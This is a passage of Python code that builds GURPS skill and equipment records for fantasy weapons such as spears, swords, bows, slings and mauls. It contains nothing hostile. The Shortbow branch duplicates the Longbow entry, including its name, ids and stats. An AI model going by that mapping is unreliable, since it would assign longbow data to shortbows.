\"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d+1 imp\",\n },\n },\n {\n \"id\": \"c08a3872-56ac-438a-91af-b5164b8af563\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"3\"},\n \"strength\": \"9†\",\n \"usage\": \"Thrust\",\n \"reach\": \"1,2*\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Spear\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d+2 imp\",\n },\n },\n {\n \"id\": \"144a40da-e63e-47c5-86df-45782f6c5c35\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"3\"},\n \"strength\": \"9\",\n \"usage\": \"Thrown\",\n \"accuracy\": \"+2\",\n \"range\": \"x1/x1.5\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"T(1)\",\n \"bulk\": \"-6\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Spear\",\n },\n {\n \"type\": \"skill\",\n \"name\": \"Spear Thrower\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Harpoon\",\n \"modifier\": -2,\n },\n ],\n \"calc\": {\n \"level\": 7,\n \"range\": \"12/18\",\n \"damage\": \"1d+2 imp\",\n },\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 40, \"extended_weight\": \"4 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(spearEquipment)\n # Javelin -> Spear Skill, Spear Throw Skill, Javelin Equipment\n elif action[\"name\"] == \"Javelin\":\n # region Spear Skill\n spearSkill = {\n \"id\": \"71d611f4-adef-4c59-9e29-7828a5832a64\",\n \"type\": \"skill\",\n \"name\": \"Spear\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(spearSkill)\n # region Spear Throw Skill\n spearThrowSkill = {\n \"id\": \"4f5ec478-8673-40ba-9a08-b6650b523ed3\",\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"reference\": \"B226\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"specialization\": \"Spear\",\n \"difficulty\": \"dx/e\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Spear Thrower\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Harpoon\",\n \"modifier\": -2,\n },\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(spearThrowSkill)\n # region Javelin Equipment\n javelinEquipment = {\n \"id\": \"c08950a3-f4ca-40ba-9ed2-995dbe78ade1\",\n \"type\": \"equipment\",\n \"description\": \"Javelin\",\n \"reference\": \"B273\",\n \"tech_level\": \"1\",\n \"tags\": [\"AmmoType:Javelin\", \"Melee Weapon\", \"Missile Weapon\"],\n \"quantity\": 1,\n \"value\": 30,\n \"weight\": \"2 lb\",\n \"weapons\": [\n {\n \"id\": \"707acb6e-2ee2-49ae-a12d-86e8a805256b\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"6\",\n \"usage\": \"Thrust\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Spear\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d imp\",\n },\n },\n {\n \"id\": \"fb94724e-fb6c-48d9-85b2-5c95a3a66a53\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"6\",\n \"usage\": \"Thrown\",\n \"accuracy\": \"+3\",\n \"range\": \"x1.5/x2.5\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"T(1)\",\n \"bulk\": \"-4\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Spear\",\n },\n {\n \"type\": \"skill\",\n \"name\": \"Spear Thrower\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Thrown Weapon\",\n \"specialization\": \"Harpoon\",\n \"modifier\": -2,\n },\n ],\n \"calc\": {\"level\": 11, \"range\": \"18/30\", \"damage\": \"1d imp\"},\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 30, \"extended_weight\": \"2 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(javelinEquipment)\n # Longsword / Long Sword -> Broadsword Skill, Broadsword Equipment\n elif action[\"name\"] == \"Longsword\" or action[\"name\"] == \"Long Sword\":\n # region Broadsword Skill\n broadswordSkill = {\n \"id\": \"2041b1b5-68df-4978-bf0e-c09dcb997a73\",\n \"type\": \"skill\",\n \"name\": \"Broadsword\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"Force Sword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\"type\": \"skill\", \"name\": \"Two-Handed Sword\", \"modifier\": -4},\n {\"type\": \"dx\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(broadswordSkill)\n # region Broadsword Equipment\n broadswordEquipment = {\n \"id\": \"8df98dbb-c1d5-4cc9-83a1-350fba6aaa1c\",\n \"type\": \"equipment\",\n \"description\": \"Broadsword\",\n \"reference\": \"B271\",\n \"tech_level\": \"2\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 500,\n \"weight\": \"3 lb\",\n \"weapons\": [\n {\n \"id\": \"294c4e7e-c390-4660-8c70-008dba5dad1a\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cut\", \"st\": \"sw\", \"base\": \"1\"},\n \"strength\": \"10\",\n \"usage\": \"Swung\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Broadsword\"},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d+3 cut\",\n },\n },\n {\n \"id\": \"43ac8fd1-cfdf-4c93-8850-d276f4987761\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"10\",\n \"usage\": \"Thrust\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Broadsword\"},\n {\"type\": \"skill\", \"name\": \"Rapier\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Shortsword\", \"modifier\": -2},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d cr\",\n },\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 500, \"extended_weight\": \"3 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(broadswordEquipment)\n # Longbow -> Longbow equipment, Bow Skill\n elif action[\"name\"] == \"Longbow\":\n # region Longbow equipment\n longbowEquipment = {\n \"id\": \"99bbf283-906b-4993-8eb1-78ed83a4e61f\",\n \"type\": \"equipment\",\n \"description\": \"Longbow\",\n \"reference\": \"B275\",\n \"tech_level\": \"0\",\n \"tags\": [\"Missile Weapon\", \"UsesAmmoType:Arrow\"],\n \"rated_strength\": 11,\n \"quantity\": 1,\n \"value\": 200,\n \"weight\": \"3 lb\",\n \"weapons\": [\n {\n \"id\": \"8759c6ab-39fa-475c-9378-5329ad63a91c\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"2\"},\n \"strength\": \"11†\",\n \"accuracy\": \"3\",\n \"range\": \"x15/x20\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(2)\",\n \"bulk\": \"-8\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Bow\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"range\": \"165/220\",\n \"damage\": \"1d+1 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 200, \"extended_weight\": \"3 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(longbowEquipment)\n # region Bow Skill\n bowSkill = {\n \"id\": \"41a2c7dd-3283-4782-a7d8-20e85ff1d368\",\n \"type\": \"skill\",\n \"name\": \"Bow\",\n \"reference\": \"B182\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -5}],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(bowSkill)\n # Shortbow -> Shortbow equipment, Bow Skill\n elif action[\"name\"] == \"Shortbow\":\n # region Shortbow equipment\n shortbowEquipment = {\n \"id\": \"99bbf283-906b-4993-8eb1-78ed83a4e61f\",\n \"type\": \"equipment\",\n \"description\": \"Longbow\",\n \"reference\": \"B275\",\n \"tech_level\": \"0\",\n \"tags\": [\"Missile Weapon\", \"UsesAmmoType:Arrow\"],\n \"rated_strength\": 11,\n \"quantity\": 1,\n \"value\": 200,\n \"weight\": \"3 lb\",\n \"weapons\": [\n {\n \"id\": \"8759c6ab-39fa-475c-9378-5329ad63a91c\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"2\"},\n \"strength\": \"11†\",\n \"accuracy\": \"3\",\n \"range\": \"x15/x20\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(2)\",\n \"bulk\": \"-8\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Bow\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"range\": \"165/220\",\n \"damage\": \"1d+1 imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 200, \"extended_weight\": \"3 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(shortbowEquipment)\n # region Bow Skill\n bowSkill = {\n \"id\": \"41a2c7dd-3283-4782-a7d8-20e85ff1d368\",\n \"type\": \"skill\",\n \"name\": \"Bow\",\n \"reference\": \"B182\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -5}],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(bowSkill)\n # Rapier -> Rapier Skill, Rapier Equipment\n elif action[\"name\"] == \"Rapier\":\n # region Rapier Skill\n rapierSkill = {\n \"id\": \"cd367975-81e9-4869-ac6d-e716f9188339\",\n \"type\": \"skill\",\n \"name\": \"Rapier\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Main-Gauche\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Smallsword\", \"modifier\": -3},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(rapierSkill)\n # region Rapier Equipment\n rapierEquipment = {\n \"id\": \"a8baa8c1-8cd5-497c-a4e8-e6ac5b038f80\",\n \"type\": \"equipment\",\n \"description\": \"Rapier\",\n \"reference\": \"B273\",\n \"tech_level\": \"4\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 500,\n \"weight\": \"2.75 lb\",\n \"weapons\": [\n {\n \"id\": \"faed2269-9c35-4b6c-b478-4d353e824920\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"imp\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"9\",\n \"usage\": \"Thrust\",\n \"reach\": \"1,2\",\n \"parry\": \"0F\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Rapier\"},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Main-Gauche\",\n \"modifier\": -3,\n },\n {\"type\": \"skill\", \"name\": \"Saber\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Smallsword\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8F\",\n \"block\": \"No\",\n \"damage\": \"1d imp\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 500, \"extended_weight\": \"2.75 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(rapierEquipment)\n # Greatclub or Great Club -> Axe/Mace Skill, Knobbed Club Equipment\n elif action[\"name\"] == \"Greatclub\" or action[\"name\"] == \"Great Club\":\n # region Axe/Mace Skill\n axeMaceSkill = {\n \"id\": \"9a8f4d0c-b66b-4605-a01f-e3534c2fd006\",\n \"type\": \"skill\",\n \"name\": \"Axe/Mace\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"modifier\": -3,\n },\n {\"type\": \"skill\", \"name\": \"Flail\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(axeMaceSkill)\n # region Knobbed Club Equipment\n knobbedClubEquipment = {\n \"id\": \"8e7ed5b8-fed2-4c1f-a3f5-023bc19fde02\",\n \"type\": \"equipment\",\n \"description\": \"Knobbed Club\",\n \"reference\": \"LT58\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 20,\n \"weight\": \"2 lb\",\n \"weapons\": [\n {\n \"id\": \"9bbcb7f6-447b-4905-a888-9a3834c5bb4d\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"sw\", \"base\": \"1\"},\n \"strength\": \"8\",\n \"usage\": \"Swung\",\n \"reach\": \"1\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\"},\n {\"type\": \"skill\", \"name\": \"Flail\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"modifier\": -3,\n },\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"8\",\n \"block\": \"No\",\n \"damage\": \"1d+3 cr\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 20, \"extended_weight\": \"2 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(knobbedClubEquipment)\n # Sling -> Sling Equipment, Sling Skill\n elif action[\"name\"] == \"Sling\":\n # region Sling Equipment\n slingEquipment = {\n \"id\": \"7288b4d9-0c11-4b09-8ad4-e781cb5e13b9\",\n \"type\": \"equipment\",\n \"description\": \"Sling\",\n \"reference\": \"B276\",\n \"tech_level\": \"0\",\n \"tags\": [\"Missile Weapon\", \"UsesAmmoType:Sling\"],\n \"quantity\": 1,\n \"value\": 20,\n \"weight\": \"0.5 lb\",\n \"weapons\": [\n {\n \"id\": \"b566ba0b-ea56-4701-8f84-186385028e7b\",\n \"type\": \"ranged_weapon\",\n \"damage\": {\"type\": \"pi\", \"st\": \"sw\"},\n \"strength\": \"6\",\n \"accuracy\": \"0\",\n \"range\": \"x6/x10\",\n \"rate_of_fire\": \"1\",\n \"shots\": \"1(2)\",\n \"bulk\": \"-4\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Sling\"},\n ],\n \"calc\": {\n \"level\": 9,\n \"range\": \"72/120\",\n \"damage\": \"1d+2 pi\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 20, \"extended_weight\": \"0.5 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(slingEquipment)\n # region Sling Skill\n slingSkill = {\n \"id\": \"eecbbb0c-c1a9-4c8a-b536-62ccd2f1109d\",\n \"type\": \"skill\",\n \"name\": \"Sling\",\n \"reference\": \"B221\",\n \"tags\": [\"Combat\", \"Ranged Combat\", \"Weapon\"],\n \"difficulty\": \"dx/h\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -6,\n \"level\": 5,\n \"adjusted_level\": 5,\n \"points\": -5,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -6}],\n \"calc\": {\"level\": 9, \"rsl\": \"DX-2\"},\n }\n # endregion\n default_data[\"skills\"].append(slingSkill)\n # Quarterstaff or Staff or Quarter Staff -> Staff Skill, Quarterstaff Equipment\n elif (\n action[\"name\"] == \"Quarterstaff\"\n or action[\"name\"] == \"Staff\"\n or action[\"name\"] == \"Quarter Staff\"\n ):\n # region Staff Skill\n staffSkill = {\n \"id\": \"c1704e0f-ba0b-4896-8a7b-f93e2762f8c2\",\n \"type\": \"skill\",\n \"name\": \"Staff\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Spear\", \"modifier\": -2},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(staffSkill)\n # region Quarterstaff Equipment\n quarterstaffEquipment = {\n \"id\": \"49b5ba32-584f-4b8f-97b9-f3f5415b4a6c\",\n \"type\": \"equipment\",\n \"description\": \"Quarterstaff\",\n \"reference\": \"B273\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 10,\n \"weight\": \"4 lb\",\n \"weapons\": [\n {\n \"id\": \"ad65dc1c-caf5-4c71-a880-84587832d8ea\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"sw\", \"base\": \"2\"},\n \"strength\": \"7†\",\n \"usage\": \"Swung\",\n \"usage_notes\": \"Staff\",\n \"reach\": \"1,2\",\n \"parry\": \"+2\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Staff\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Spear\", \"modifier\": -2},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"10\",\n \"block\": \"No\",\n \"damage\": \"1d+4 cr\",\n },\n },\n {\n \"id\": \"0f333350-cfd8-4fba-a202-b2bf19773be5\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"thr\", \"base\": \"2\"},\n \"strength\": \"7†\",\n \"usage\": \"Thrust\",\n \"usage_notes\": \"Staff\",\n \"reach\": \"1,2\",\n \"parry\": \"+2\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Staff\"},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Spear\", \"modifier\": -2},\n ],\n \"calc\": {\n \"level\": 10,\n \"parry\": \"10\",\n \"block\": \"No\",\n \"damage\": \"1d+1 cr\",\n },\n },\n {\n \"id\": \"cbc835a1-cf24-479a-bd41-0e8a7b4b8c37\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"sw\", \"base\": \"2\"},\n \"strength\": \"9†\",\n \"usage\": \"Swung\",\n \"usage_notes\": \"Two-Handed Sword\",\n \"reach\": \"1,2\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Two-Handed Sword\"},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 6,\n \"parry\": \"6\",\n \"block\": \"No\",\n \"damage\": \"1d+4 cr\",\n },\n },\n {\n \"id\": \"3cb8cfdd-ea36-4144-b25e-406f4a105764\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"thr\", \"base\": \"1\"},\n \"strength\": \"9†\",\n \"usage\": \"Thrust\",\n \"usage_notes\": \"Two-Handed Sword\",\n \"reach\": \"2\",\n \"parry\": \"0\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Two-Handed Sword\"},\n {\"type\": \"skill\", \"name\": \"Broadsword\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Force Sword\",\n \"modifier\": -4,\n },\n {\"type\": \"skill\", \"name\": \"Sword!\"},\n ],\n \"calc\": {\n \"level\": 6,\n \"parry\": \"6\",\n \"block\": \"No\",\n \"damage\": \"1d cr\",\n },\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 10, \"extended_weight\": \"4 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(quarterstaffEquipment)\n # Maul -> Two-Handed Axe/Mace Skill, Maul Equipment\n elif action[\"name\"] == \"Maul\":\n # region Two-Handed Axe/Mace Skill\n twoHandedAxeMaceSkill = {\n \"id\": \"0f2e8a3a-8fb5-427d-8490-2233e3fa664e\",\n \"type\": \"skill\",\n \"name\": \"Two-Handed Axe/Mace\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Two-Handed Flail\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(twoHandedAxeMaceSkill)\n # region Maul Equipment\n maulEquipment = {\n \"id\": \"13d9287b-4699-4a62-a2b1-8b17d51b0f74\",\n \"type\": \"equipment\",\n \"description\": \"Maul\",\n \"reference\": \"B274\",\n \"tech_level\": \"0\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 80,\n \"weight\": \"12 lb\",\n \"weapons\": [\n {\n \"id\": \"a381d818-2974-407e-823d-1db893882778\",\n \"type\": \"melee_weapon\",\n \"damage\": {\"type\": \"cr\", \"st\": \"sw\", \"base\": \"4\"},\n \"strength\": \"13‡\",\n \"usage\": \"Swung\",\n \"reach\": \"1,2*\",\n \"parry\": \"0U\",\n \"block\": \"No\",\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Two-Handed Axe/Mace\"},\n {\"type\": \"skill\", \"name\": \"Axe/Mace\", \"modifier\": -3},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\n \"type\": \"skill\",\n \"name\": \"Two-Handed Flail\",\n \"modifier\": -4,\n },\n ],\n \"calc\": {\n \"level\": 5,\n \"parry\": \"5U\",\n \"block\": \"No\",\n \"damage\": \"1d+6 cr\",\n },\n }\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 80, \"extended_weight\": \"12 lb\"},\n }\n # endregion\n default_data[\"equipment\"].append(maulEquipment)\n # Pike -> Spear Skill, Pike Equipment\n elif action[\"name\"] == \"Pike\":\n # region Spear Skill\n spearSkill = {\n \"id\": \"71d611f4-adef-4c59-9e29-7828a5832a64\",\n \"type\": \"skill\",\n \"name\": \"Spear\",\n \"reference\": \"B208\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/a\",\n \"points\": profPoints,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Polearm\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Staff\", \"modifier\": -2},\n ],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(spearSkill)\n # region Pike Equipment\n pikeEquipment = {\n \"id\": \"b634189c-139f-4ee1-874a-cad639b8730b\",\n \"type\": \"equipment\",\n \"description\": \"Pike\",\n \"reference\": \"LT60\",\n \"tech_level\": \"2\",\n \"tags\": [\"Melee Weapon\"],\n \"quantity\": 1,\n \"value\": 80,\n \"weight\": \"13 lb\",\n \"weapons\": [\n {\n \"id\": \"7fd9a17a-ca6b-4c11-b5df-a5851d962c6b\",\n \"type\": \"melee_weapon\",\n 